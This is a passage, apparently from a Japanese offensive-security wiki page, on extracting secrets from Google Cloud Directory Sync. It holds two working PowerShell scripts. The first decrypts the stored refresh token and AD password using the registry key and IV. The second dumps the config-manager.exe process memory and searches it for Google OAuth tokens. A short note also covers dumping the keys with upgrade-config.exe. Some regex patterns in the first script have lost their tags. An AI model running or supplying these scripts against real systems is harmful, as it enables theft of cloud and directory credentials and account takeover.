```powershell # Paths and key names $xmlConfigPath = "C:\Users\c\Documents\conf.xml" $regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util" $ivKeyName = "/Encryption/Policy/V2.iv" $keyKeyName = "/Encryption/Policy/V2.key"
Open the registry key
try { $regKey = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey($regPath) if (-not $regKey) { Throw "Registry key not found: HKCU$regPath" } } catch { Write-Error "Failed to open registry key: $_" exit }
Get Base64-encoded IV and Key from the registry
try { $ivBase64 = $regKey.GetValue($ivKeyName) $ivBase64 = $ivBase64 -replace '/', '' $ivBase64 = $ivBase64 -replace '\', '/' if (-not $ivBase64) { Throw "IV not found in registry" } $keyBase64 = $regKey.GetValue($keyKeyName) $keyBase64 = $keyBase64 -replace '/', '' $keyBase64 = $keyBase64 -replace '\', '/' if (-not $keyBase64) { Throw "Key not found in registry" } } catch { Write-Error "Failed to read registry values: $_" exit } $regKey.Close()
Decode Base64 IV and Key
$ivBytes = [Convert]::FromBase64String($ivBase64) $keyBytes = [Convert]::FromBase64String($keyBase64)
Read XML content
$xmlContent = Get-Content -Path $xmlConfigPath -Raw
$refreshTokenMatch = [regex]::Match($xmlContent, "(.*?)") $refreshTokenBase64 = $refreshTokenMatch.Groups[1].Value
$encryptedPasswordMatch = [regex]::Match($xmlContent, "(.*?)") $encryptedPasswordBase64 = $encryptedPasswordMatch.Groups[1].Value
Decode encrypted values from Base64
$refreshTokenEncryptedBytes = [Convert]::FromBase64String($refreshTokenBase64) $encryptedPasswordBytes = [Convert]::FromBase64String($encryptedPasswordBase64)
Function to decrypt data using AES CBC
Function Decrypt-Data($cipherBytes, $keyBytes, $ivBytes) { $aes = [System.Security.Cryptography.Aes]::Create() $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC $aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7 $aes.KeySize = 256 $aes.BlockSize = 128 $aes.Key = $keyBytes $aes.IV = $ivBytes
$decryptor = $aes.CreateDecryptor() $memoryStream = New-Object System.IO.MemoryStream $cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Write) $cryptoStream.Write($cipherBytes, 0, $cipherBytes.Length) $cryptoStream.FlushFinalBlock() $plaintextBytes = $memoryStream.ToArray()
$cryptoStream.Close() $memoryStream.Close()
return $plaintextBytes }
Decrypt the values
$refreshTokenBytes = Decrypt-Data -cipherBytes $refreshTokenEncryptedBytes -keyBytes $keyBytes -ivBytes $ivBytes $refreshToken = [System.Text.Encoding]::UTF8.GetString($refreshTokenBytes)
$decryptedPasswordBytes = Decrypt-Data -cipherBytes $encryptedPasswordBytes -keyBytes $keyBytes -ivBytes $ivBytes $decryptedPassword = [System.Text.Encoding]::UTF8.GetString($decryptedPasswordBytes)
Output the decrypted values
Write-Host "Decrypted Refresh Token: $refreshToken" Write-Host "Decrypted Password: $decryptedPassword"
</details>
<div data-gb-custom-block data-tag="hint" data-style='info'>
この情報は、**`C:\Program Files\Google Cloud Directory Sync`** の **`DirSync.jar`** のJavaコードを確認し、`exportkeys`という文字列を検索することで確認可能です（これはバイナリ **`upgrade-config.exe`** がキーをダンプするために期待するCLIパラメータです）。
</div>
PowerShellスクリプトの代わりに、バイナリ **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** を使用し、パラメータ `-exportKeys` を指定して、レジストリから **Key** と **IV** を16進数で取得し、その後、AES/CBCとそのキーおよびIVを使用して情報を復号化することも可能です。
### GCDS - メモリからのトークンのダンプ
GCPWと同様に、`config-manager.exe` プロセスのメモリをダンプすることが可能です（これはGCDSのGUIを持つメインバイナリの名前です）ので、リフレッシュトークンとアクセストークンを見つけることができます（すでに生成されている場合）。\
ADに設定された資格情報も見つけることができると思います。
<details>
<summary>config-manager.exeプロセスをダンプしてトークンを検索</summary>
```powershell
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"
# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)
# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}
# Get all Chrome process IDs
$chromeProcesses = Get-Process -Name "config-manager" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id
# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}
# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {
$matches = Select-String -Path $file -Pattern $regex -AllMatches
$uniqueMatches = @{}
foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText = $matchInfo.Line.Trim()
FilePath = $matchInfo.Path
}
}
}
}
foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}
Write-Output ""
}
}
Remove-Item -Path $dumpFolder -Recurse -Force
